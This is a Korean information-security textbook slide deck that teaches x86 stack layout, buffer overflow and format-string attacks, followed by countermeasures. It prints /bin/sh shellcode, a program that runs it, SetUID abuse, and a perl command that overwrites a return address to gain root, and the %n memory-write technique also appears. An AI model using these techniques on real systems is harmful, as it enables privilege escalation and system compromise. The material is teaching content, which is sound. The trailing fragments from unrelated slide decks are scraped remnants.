PowerPoint 프레젠테이션
|
|
- 수린 야
- 5 years ago
- Views:
Transcription
1 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술
2 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격
3 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack) 이라는메모리공간이형성되고, 프로그램로직이동작하기위한인자 (Argument) 와프로세스상태를저장하는데사용됨. 하위메모리 : 힘 (Heap) 이생성되고, 프로그램이동작할때필요한데이터정보를임시로저장하는데사용됨.
4 시스템메모리의구조 [ 표 5-1] 80x86 CPU 의레지스터 범주 레지스터 이름비트용도 범용레지스터 (General Register) EAX 누산기 (Accmulator) 32 주로산술연산에사용 ( 함수의결과값저장 ) EBX 베이스레지스터 (Base Register) 32 특정주소저장 ( 주소지정을확대하기위한인덱스로사용 ) ECX 카운트레지스터 (Count Register) 32 반복적으로실행되는특정명령에사용 ( 루프의반복횟수나좌우방향시프트비트수기억 ) EDX 데이터레지스터 (Data Register) 32 일반자료저장 ( 입출력동작에사용 ) CS 코드세그먼트레지스터 (Code Segment Register) 16 실행될기계명령어가저장된메모리주소지정 세그먼트레지스터 (Segment Register) DS SS 데이터세그먼트레지스터 (Data Segment Register) 스택세그먼트레지스터 (Stack Segment Register) 16 프로그램에서정의된데이터, 상수, 작업영역의메모리주소지정 16 프로그램이임시로저장할필요가있거나사용자의피호출서브루틴이사용할데이터와주소포함 ES, FS,GS 엑스트라세그먼트레지스터 (Extra Segment Register) 16 문자연산과추가메모리지정을위해사용되는여분의레지스터 포인터레지스터 (Pointer Register) 인덱스레지스터 EBP 베이스포인터 (Base Pointer) 32 SS 레지스터와함께사용되어스택내의변수값을읽는데사용 ESP 스택포인터 (Stack Pointer) 32 SS 레지스터와함께사용되며, 스택의가장끝주소를가리킴 EIP 명령포인터 (Instruction Pointer) 32 EDI 목적지인덱스 (Destination Index) 32 목적지주소에대한값저장 ESI 출발지인덱스 (Source Index) 32 출발지주소에대한값저장 다음명령어의오프셋 ( 상대위치주소 ) 를저장하며 CS 레지스터와합쳐져다음에수행될명령의주소형성 플래그레지스터 EFLAGS 플래그레지스터 (Flag Register) 32 연산결과및시스템상태와관련된여러가지플래그값저장
5 프로그램의실행구조 main 함수와덧셈을하는 function 이라는서브루틴이있는프로그램 sample.c void main() { int c; c=function(1, 2); } int function(int a, int b){ char buffer[10]; a=a+b; return a; } 어셈블리어로된코드를생성 gcc -S -o sample.a sample.c vi sample.a
6 프로그램의실행구조 sample.a.file "sample.c".version "01.01" gcc2_compiled.:.text.align 4.globl main.type main:.l1: pushl %ebp movl %esp,%ebp subl $4,%esp pushl $ pushl $ call function addl $8,%esp movl %eax,%eax movl %eax,-4(%ebp) leave ret
7 프로그램의실행구조 sample.a.lfe1:.size main,.lfe1-main.align 4.globl function.type function: pushl %ebp movl %esp,%ebp subl $12,%esp movl 12(%ebp),%eax addl %eax,8(%ebp) movl 8(%ebp),%edx movl %edx,%eax jmp.l p2align 4,,7.L2: leave ret Lfe2:.size function,.lfe2-function. ident "GCC: (GNU) egcs /Linux (egcs release)
8 프로그램의실행구조 pushl %ebp 메인함수가종료될때프로세스가복귀할주소 (ret) 가스택에저장 ebp는함수시작전의기준점 스택에저장된 ebp를 SFP(Saved Frame Pointer) 라고부름. RET(Return Address) 에는함수종료시점프할주소값이저장됨. [ 그림 5-4] pushl %ebp 실행시스택의구조
9 프로그램의실행구조 movl %esp, %ebp esp 값을 ebp로이동 (move) 하는것으로, 현재의 esp 값을 ebp 레지스터에저장. esp는스택의항상가장하위메모리주소를가리키는주소값 [ 그림 5-5] movl %esp, %ebp 실행시스택의구조 Subl $4, %esp esp 에서 4 바이트를뺀다 (subtraction). 스택에 4 바이트 (int 형은 4 바이트 ) 의빈공간을할당
10 프로그램의실행구조 pushl $2 : 스택에정수 2를저장 pushl $1 : 스택에정수 1을저장 call function : function 함수를호출 ~ 세단계는 function(1,2) 에대한코드 [ 그림 5-6] pushl $2, pushl $1, call function 실행시스택의구조
11 프로그램의실행구조 pushl %ebp : 현재레지스터의 ebp 값을스택에저장 [ 그림 5-7] pushl %ebp 실행시스택의구조
12 프로그램의실행구조 movl %esp,%ebp function(1, 2) 의시작에서도프롤로그 (pushl %ebp 명령과 movl %esp,%ebp) 가실행 [ 그림 5-8] movl %esp,%ebp 실행시스택의구조
13 프로그램의실행구조 subl $12,%esp esp 값 (char buffer[10] 할당값 ) 에서 12바이트만큼을뺀다 ( 스택에 12바이트만큼의용량을할당한다.). char buffer는 10바이트만큼할당되도록했으나, 스택에서는 4바이트단위로할당되므로 12바이트가할당 [ 그림 5-9] subl $12,%esp 실행시스택의구조
14 프로그램의실행구조 movl 12(%ebp),%eax ebp 에 12 바이트를더한주소값의내용 ( 정수 2) 을 eax 값에복사 [ 그림 5-10] movl 12(%ebp),%eax 실행시스택의구조
15 프로그램의실행구조 addl %eax,8(%ebp) ebp에 8바이트를더한주소값의내용 ( 정수 1) 에 eax( 단계 10에서 2로저장됨 ) 값을더함. 8(%ebp) 값은 3이됨. [ 그림 5-11] addl %eax,8(%ebp) 실행시스택의구조
16 프로그램의실행구조 movl 8(%ebp),%edx ebp 에 8 바이트더한주소값의내용 ( 정수 3) 을 edx 에저장 [ 그림 5-12] movl 8(%ebp),%edx 실행시스택의구조
17 프로그램의실행구조 movl %edx,%eax : edx에저장된정수 3을 eax로복사 jmp.l1 : L1로점프 leave : 함수를끝냄. ret : function 함수를마치고 function 함수에저장된 ebp 값을제거 main 함수의원래 ebp 값으로 ebp 레지스터값을변경 addl $8,%esp : esp에 8바이트를더함. movl %eax,%eax : eax 값을 eax로복사 ( 사실상의미는없음 ) movl %eax,-4(%ebp) : ebp에서 4바이트를뺀주소값 (int c) 에 eax 값을복사 leave ret : 모든과정을마치고프로그램을종료
18 셸 운영체제를둘러싸고있으면서입력받는명령어를실행시키는명령어해석기 본셸, 콘셸, C 셸로나눌수있고, 본셸은유닉스시스템에서사용하는기본셸임. [ 그림 5-13] 유닉스계열의시스템에서셸의역할 셸의역할 자체의내장명령어제공 입력 / 출력 / 오류의리다이렉션 (Redirection) 기능제공 wildcard 기능제공 파이프라인기능제공 조건부 / 무조건부명령열 (Sequences) 작성기능제공 서브셸 (Subshell) 생성기능제공 후면처리 (Background Processing) 가능 셸스크립트 (Shell Script, 프로그램 ) 작성가능
19 셸 셸은 /bin/sh 명령으로실행 exit 명령을통해해당셸을빠져나올수있음. [ 그림 5-14] 레드햇 6.2 에서본셸의실행과취소 버퍼오버플로우나포맷스트링공격에서는 /bin/sh 를다음과같이기계어코드로바꾸어메모리에올림. "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68";
20 셸 기계어코드가실제로셸로실행되는지확인해보자. shell.c char shell[]= "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00\x00" "\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xb8\x01" "\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff\xff" "\x2f\x62\x69\x6e\x2f\x73\x68"; void main(){ int *ret; ret =(int *)&ret+2; (*ret)=(int)shell; } gcc -o shell -g -ggdb shell.c./shell [ 그림 5-15] 기계어로바꾼 shell 을실행한결과
21 프로세스권한과 SetUID SetUID는유닉스시스템을해킹하는데매우중요한요소로, 유닉스파일에 rwsr-xr-x로권한설정이되어있음. 소유자권한에서 x가있을자리에 s가적혀있음. SetUID 파일은해당파일이실행될때누가실행하든지관계없이파일소유자의권한을갖는다는특징이있음. 해당파일의소유자가 root이면, 그파일은실행하는사람이누가되었든지파일이실행되는프로세스는실행시간동안파일소유자인 root 권한으로실행됨. 예 ) test라는파일이 root 소유이며 SetUID 비트가설정되어있으면 [ 그림 5-16] 과같이실행 SetUID 비트가설정되어있지않다면 [ 그림 4-17] 과같이실행 [ 그림 5-16] SetUID 설정시프로세스권한변경 [ 그림 5-17] SetUID 미설정시프로세스권한
22 프로세스권한과 SetUID SetUID 를이용한간단한해킹 SetUID 부여 [ 그림 5-18] shell 파일에 SetUID 권한부여 일반사용자권한에서 shell 파일을실행 [ 그림 5-19] shell 을일반사용자권한에서실행
23 02 버퍼오버플로우공격 버퍼오버플로우공격의개념 가장기본개념은 덮어쓰기 정상적인경우에는사용되지않아야주소공간, 즉원래는덮어쓸수없는부분에해커가임의의코드를덮어쓰는것 [ 그림 5-20] 버퍼오버플로우공격의개념 버퍼오버플로우는프로그래머가취약한특정함수를사용해야공격이가능
24 02 버퍼오버플로우공격 버퍼오버플로우공격의원리 bugfile.c int main(int argc, char *argv[]) { char buffer[10]; strcpy(buffer, argv[1]); printf("%s\n", &buffer); } int main(int argc, char *argv[ ]) argc는취약한코드인 bugfile.c가컴파일되어실행되는프로그램의인수개수 *argv[ ] 는포인터배열로서인자로입력되는값에대한번지수를차례대로저장 argv[0] : 실행파일의이름 argv[1] : 첫번째인자의내용 argv[2] : 두번째인자의내용 char buffer[10] : 10바이트크기의버퍼를할당 strcpy(buffer, argv[1]) : 버퍼에첫번째인자 (argv[1]) 를복사 (abcd 값을버퍼에저장 ) prinf( %s\n,&buffer) : 버퍼에저장된내용을출력 버퍼오버플로우공격은 strcpy(buffer, argv[1]) 에서일어남.
25 02 버퍼오버플로우공격 버퍼오버플로우공격의원리 GDB 를이용하여 main 함수를먼저살펴보고 strcpy 가호출되는과정을살펴보자. gcc -o bugfile bugfile.c gdb bugfile disass main 0x80483f8 <main> : push %ebp 0x80483f9 <main+1> : mov %esp,%ebp 스택에 ebp 값을밀어넣고, 현재의 esp 값을 ebp 레지스터에저장 0x80483fb <main+3> : sub $0xc,%esp main 함수의 char buffer[10]; 를실행 명령은 char로메모리에 10바이트를할당하였으나, 메모리에서는모두 4바이트단위로할당이되니실제로할당되는메모리는 12바이트가됨. [ 그림 5-22] main+3 까지실행시스택의구조
26 버퍼오버플로우공격 버퍼오버플로우공격의원리 0x80483fe <main+6> : mov 0xc(%ebp),%eax ebp에서상위 12바이트 (0xC) 의내용을 eax 레지스터에저장 eax 레지스터는 char *argv[] 를가리키고, eax에 argv[] 에대한포인터값이저장. 0x <main+9> : add $0x4,%eax eax의값을 4바이트만큼증가시킴. argv[ ] 에대한포인터이므로 argv[1] 을가리킴. 0x <main+12> : mov (%eax),%edx eax 레지스터가가리키는주소의값을 edx 레지스터에저장 프로그램을실행할때인수부분을가리킴. [ 그림 5-23] main+6 까지실행시스택의구조
27 버퍼오버플로우공격 버퍼오버플로우공격의원리 0x <main+14> : push %edx 프로그램을실행할때인수에대한포인터를스택에저장 인수를주지않고프로그램을실행시키면 0 0 값이스택에저장됨. [ 그림 5-24] main+14 까지실행시스택의구조 0x <main+15> : lea 0xfffffff4(%ebp),%eax eax 레지스터에 12(%ebp) 의주소값을저장
28 버퍼오버플로우공격 버퍼오버플로우공격의원리 0x804840a <main+18> : push %eax 스택에이를저장 [ 그림 5-25] main+18까지실행시스택의구조 0x804840b <main+19> : call 0x <strcpy> ~ 에서 strcpy(buffer, argv[1]); 를실행시키기위해 buffer, argv[1] 과관련된사항을스택에모두상주시킴. 마지막으로 strcpy 명령을호출
29 버퍼오버플로우공격 버퍼오버플로우공격의원리 0x <strcpy> : jmp *0x80494c0 버퍼오버플로우공격은여기에서일어남. strcpy 함수는입력된인수의경계를체크하지않음. 인수는 buffer[10] 으로 10바이트길이를넘지않아야하지만이보다큰인수를받아도스택에쓰게됨. 13개의A를인수로쓰게되면 A가쌓임. [ 그림 5-26] A 문자 13 개입력시저장된 ebp 값변조
30 02 버퍼오버플로우공격 버퍼오버플로우공격의원리 실제로컴파일하고실행하면서인수로 A 를충분히많이입력 bugfile 은관리자권한으로 SetUID 권한을부여 (chmod 4755 bugfile 명령실행 )./bugfile AAAAAAAAAAAAAAA./bugfile AAAAAAAAAAAAAAA [ 그림 5-27] 입력버퍼이상의문자열을입력할때발생하는세그먼테이션오류 bugfile.c의 char buffer[10] 이할당되는주소공간이 12바이트, ebp가저장되는공간이 4바이트 A가 16개, 즉 16바이트 ( 주소공간 12바이트, ebp 저장공간 4바이트 ) 가덮어씌워지고결과적으로스택의 ret 값을침범하게되어일종의오류가생김. 일반적으로공격에 egg shell 사용 (gcc o egg eggshell.c로컴파일 )./egg [ 그림 5-28] egg 셸의실행
31 02 버퍼오버플로우공격 버퍼오버플로우공격의원리 일반사용자권한으로돌아가서펄 (Perl) 을이용해 A 문자열과셸의메모리주소를 bugfile 에직접적으로실행 perl -e 'system "./bugfile", "AAAAAAAAAAAAAAAA\x58\xfb\xff\xbf"' id [ 그림 5-29] 스택버퍼오버플로우공격의수행
32 02 버퍼오버플로우공격 버퍼오버플로우공격의원리 공격이모두끝나면계정이 root 로바뀌어있음. [ 그림 5-30] ebp 값을지나 ret 값의변조
33 02 버퍼오버플로우공격 버퍼오버플로우공격에대한대응책 버퍼오버플로우에취약한함수를사용하지않는다. strcpy(char *dest, const char *src); strcat(char *dest, const char *src); getwd(char *buf); gets(char *s); fscanf(file *stream, const char *format,...); scanf(const char *format,...); realpath(char *path, char resolved_path[]); sprintf(char *str, const char *format); 최신의운영체제를사용한다. 운영체제는발전하면서 Non-Executable Stack, 스택가드 (Stack Guard), 스택쉴드 (Stack Shield) 와같이운영체제내에서해커의공격코드가실행되지않도록하는여러가지장치가있음.
34 03 포맷스트링공격 포맷스트링공격의개념 포맷스트링공격은데이터의형태와길이에대한불명확한정의로인한문제점중 데이터형태에대한불명확한정의 로인한것 formatstring.c #include <stdio.h> main(){ } char *buffer = "wishfree"; printf("%s\n", buffer); [ 표 5-2] 포맷스트링문자의종류 파라미터 특징 파라미터 특징 %d 정수형 10진수상수 (integer) %o 양의정수 (8 진수 ) %f 실수형상수 (float) %x 양의정수 (16 진수 ) %lf 실수형상수 (double) %s 문자열 %s 문자스트링 ((const)(unsigned) char *) %n * int ( 쓰인총바이트수 ) %u 양의정수 (10 진수 ) %hn %n의반인 2바이트단위
35 03 포맷스트링공격 포맷스트링공격의원리 포맷스트링의동작구조 formatstring.c의코드를간단히분석해보자. char *buffer = "wishfree" wishfree 라는문자열에대한주소값을포인터로지정 printf("%s\n", buffer) 포인터 (buffer) 가가르키는주소에서 %s( 문자스트링 ) 을읽어서출력 (printf) [ 그림 5-31] formatstring.c 컴파일및실행결과 [ 표 5-3] 포맷스트링 구분 스파이접선 formatstring.c 동작 접선자의본명 원빈 버퍼의주소에위치한실제데이터 접선자의암호명 홍길동 버퍼의주소, *buffer( 포인터 ) 신상착의 검은색티셔츠와푸른색반바지를입은동양인남자 포맷스트링, %s( 데이터가문자열임을표시함 ) 접선자접촉 wishfree 에게 당신이검은색티셔츠와푸른색반바지를입은동양인남자 의접선자가맞습니까? printf( %s\n, buffer) 접선자확인네, 제가접선자이며본명은 원빈 입니다 wishfree
36 03 포맷스트링공격 포맷스트링공격의원리 취약한포맷스트링 wrong.c #include <stdio.h> main(){ } char *buffer = "wishfree\n"; printf(buffer); wrong.c 는 formatstring.c 와동일한결과를출력 [ 그림 5-32] wrong.c 컴파일및실행
37 03 포맷스트링공격 포맷스트링공격의원리 포맷스트링문자를이용한메모리열람 wrong.c에서 char *buffer에문자열을입력할때 %x라는포맷스트링문자를추가 test1.c #include <stdio.h> main(){ } char *buffer = "wishfree\n%x\n"; printf(buffer); test1.c 를컴파일하면 wishfree 문자열이외에 이라는숫자가출력된것을확인할수있음. [ 그림 5-33] test1.c 컴파일및실행
38 03 포맷스트링공격 포맷스트링공격의원리 포맷스트링문자를이용한메모리변조 test2.c #include <stdio.h> main(){ long i=0x , j=1; printf("i 의주소 : %x\n",&i); printf("i 의값 : %x\n",i); } printf("%64d%n\n", j, &i); printf(" 변경된 i 의값 : %x\n",i); printf("%64d%n\n", j, &i) 은 j 와 i 의주소값에 64 의 16 진수값을입력함. test2.c 를컴파일하여실행해보면 64 값이 16 진수인 0x40 로출력되는것을확인할수있음. gcc -o test2 test2.c./test2 [ 그림 5-34] test2 의실행결과
39 포맷스트링과버퍼오버플로우 포맷스트링공격 포맷스트링을이용하여, 버퍼오버플로우와같이메모리에셸을띄워놓고, ret 값을변조하여관리자권한획득. 결국포맷스트링과버퍼오버플로우는함수실행시 ret 값을변조 하는방법만다를뿐기본개념은같다고볼수있음.
Microsoft PowerPoint - ch04_코드 보안 [호환 모드]
이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,
More informationMicrosoft PowerPoint - ch04_코드 보안 [호환 모드]
정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택
More informationIT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다.
IT CookBook, 정보보안개론 ( 개정판 ) [ 강의교안이용안내 ] 본강의교안의저작권은한빛아카데미 에있습니다. 이자료를무단으로전제하거나배포할경우저작권법 136 조에의거하여최고 5 년이하의징역또는 5 천만원이하의벌금에처할수있고이를병과 ( 倂科 ) 할수도있습니다. Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2.
More informationhlogin2
0x02. Stack Corruption off-limit Kernel Stack libc Heap BSS Data Code off-limit Kernel Kernel : OS Stack libc Heap BSS Data Code Stack : libc : Heap : BSS, Data : bss Code : off-limit Kernel Kernel : OS
More informationPowerPoint 프레젠테이션
System Software Experiment 1 Lecture 5 - Array Spring 2019 Hwansoo Han (hhan@skku.edu) Advanced Research on Compilers and Systems, ARCS LAB Sungkyunkwan University http://arcs.skku.edu/ 1 배열 (Array) 동일한타입의데이터가여러개저장되어있는저장장소
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More informationMicrosoft PowerPoint - chap06-2pointer.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.
More informationMicrosoft PowerPoint - ch07 - 포인터 pm0415
2015-1 프로그래밍언어 7. 포인터 (Pointer), 동적메모리할당 2015 년 4 월 4 일 교수김영탁 영남대학교공과대학정보통신공학과 (Tel : +82-53-810-2497; Fax : +82-53-810-4742 http://antl.yu.ac.kr/; E-mail : ytkim@yu.ac.kr) Outline 포인터 (pointer) 란? 간접참조연산자
More information[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi
2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,
More informationComputer Security Chapter 08. Format String 김동진 1 Secure Software Lab.
Computer Security Chapter 08. Format Strig 김동진 (kdjorag@gmail.com) http://securesw.dakook.ac.kr/ 1 목차 Format Strig Attack? Format Strig? Format Strig Attack 의원리 입력코드생성 Format Strig Attack (kerel v2.2,
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음
More information<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>
기술문서 09. 11. 3. 작성 Format String Bug 에서 dtors 우회 작성자 : 영남대학교 @Xpert 박병규 preex@ynu.ac.kr 1. 요약... 2 2. d to r 이란... 3 3. 포맷스트링... 4 4. ro o t 권한획득... 7 5. 참고자료... 1 0-1 - 1. 요약 포맷스트링버그 (Format String bug)
More informationPowerPoint 프레젠테이션
Chapter 10 포인터 01 포인터의기본 02 인자전달방법 03 포인터와배열 04 포인터와문자열 변수의주소를저장하는포인터에대해알아본다. 함수의인자를값과주소로전달하는방법을알아본다. 포인터와배열의관계를알아본다. 포인터와문자열의관계를알아본다. 1.1 포인터선언 포인터선언방법 자료형 * 변수명 ; int * ptr; * 연산자가하나이면 1 차원포인터 1 차원포인터는일반변수의주소를값으로가짐
More informationMicrosoft PowerPoint - hy2-12.pptx
2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출
More information금오공대 컴퓨터공학전공 강의자료
C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include
More informationMicrosoft PowerPoint - [2009] 02.pptx
원시데이터유형과연산 원시데이터유형과연산 원시데이터유형과연산 숫자데이터유형 - 숫자데이터유형 원시데이터유형과연산 표준입출력함수 - printf 문 가장기본적인출력함수. (stdio.h) 문법 ) printf( Test printf. a = %d \n, a); printf( %d, %f, %c \n, a, b, c); #include #include
More information<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>
연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.
More information< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>
Chap #2 펌웨어작성을위한 C 언어 I http://www.smartdisplay.co.kr 강의계획 Chap1. 강의계획및디지털논리이론 Chap2. 펌웨어작성을위한 C 언어 I Chap3. 펌웨어작성을위한 C 언어 II Chap4. AT89S52 메모리구조 Chap5. SD-52 보드구성과코드메모리프로그래밍방법 Chap6. 어드레스디코딩 ( 매핑 ) 과어셈블리어코딩방법
More information02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C
02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C language Assembly code Change permissions(seteuid())
More information11장 포인터
누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리
More information슬라이드 1
-Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역
More informationReusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn
Reusing Dynamic Linker For Exploitation Author : pwn3r @ B10S @WiseGuyz Date : 2012 / 05 / 13 Contact : austinkwon2@gmail.com Facebook : fb.me/kwonpwn3r Abstract 대부분의 Unix 에선공유라이브러리를메모리에로드하고프로그램과 link
More informationPowerPoint Template
BoF 원정대서비스 목차 환경구성 http://www.hackerschool.org/hs_boards/zboard.php?id=hs_notice&no=1170881885 전용게시판 http://www.hackerschool.org/hs_boards/zboard.php?id=bof_fellowship Putty War game 2 LOB 란? 해커스쿨에서제공하는
More information설계란 무엇인가?
금오공과대학교 C++ 프로그래밍 jhhwang@kumoh.ac.kr 컴퓨터공학과 황준하 5 강. 배열, 포인터, 참조목차 배열 포인터 C++ 메모리구조 주소연산자 포인터 포인터연산 배열과포인터 메모리동적할당 문자열 참조 1 /20 5 강. 배열, 포인터, 참조배열 배열 같은타입의변수여러개를하나의변수명으로처리 int Ary[10]; 총 10 개의변수 : Ary[0]~Ary[9]
More information제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.
제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터
More informationDeok9_Exploit Technique
Exploit Technique CodeEngn Co-Administrator!!! and Team Sur3x5F Member Nick : Deok9 E-mail : DDeok9@gmail.com HomePage : http://deok9.sur3x5f.org Twitter :@DDeok9 > 1. Shell Code 2. Security
More informationPoison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3
Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3 Example 3.1 Files 3.2 Source code 3.3 Exploit flow
More information목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2
제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해
More informationMicrosoft PowerPoint - chap13-입출력라이브러리.pptx
#include int main(void) int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; 1 학습목표 스트림의 기본 개념을 알아보고,
More informationMicrosoft PowerPoint - chap03-변수와데이터형.pptx
#include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.
More informationNo Slide Title
Copyright, 2017 Multimedia Lab., UOS 시스템프로그래밍 (Assembly Code and Calling Convention) Seong Jong Choi chois@uos.ac.kr Multimedia Lab. Dept. of Electrical and Computer Eng. University of Seoul Seoul, Korea
More informationMicrosoft PowerPoint - chap06-1Array.ppt
2010-1 학기프로그래밍입문 (1) chapter 06-1 참고자료 배열 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 배열의선언과사용 같은형태의자료형이많이필요할때배열을사용하면효과적이다. 배열의선언 배열의사용 배열과반복문 배열의초기화 유연성있게배열다루기 한빛미디어
More informationMicrosoft Word - FunctionCall
Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack
More informationMicrosoft PowerPoint - chap10-함수의활용.pptx
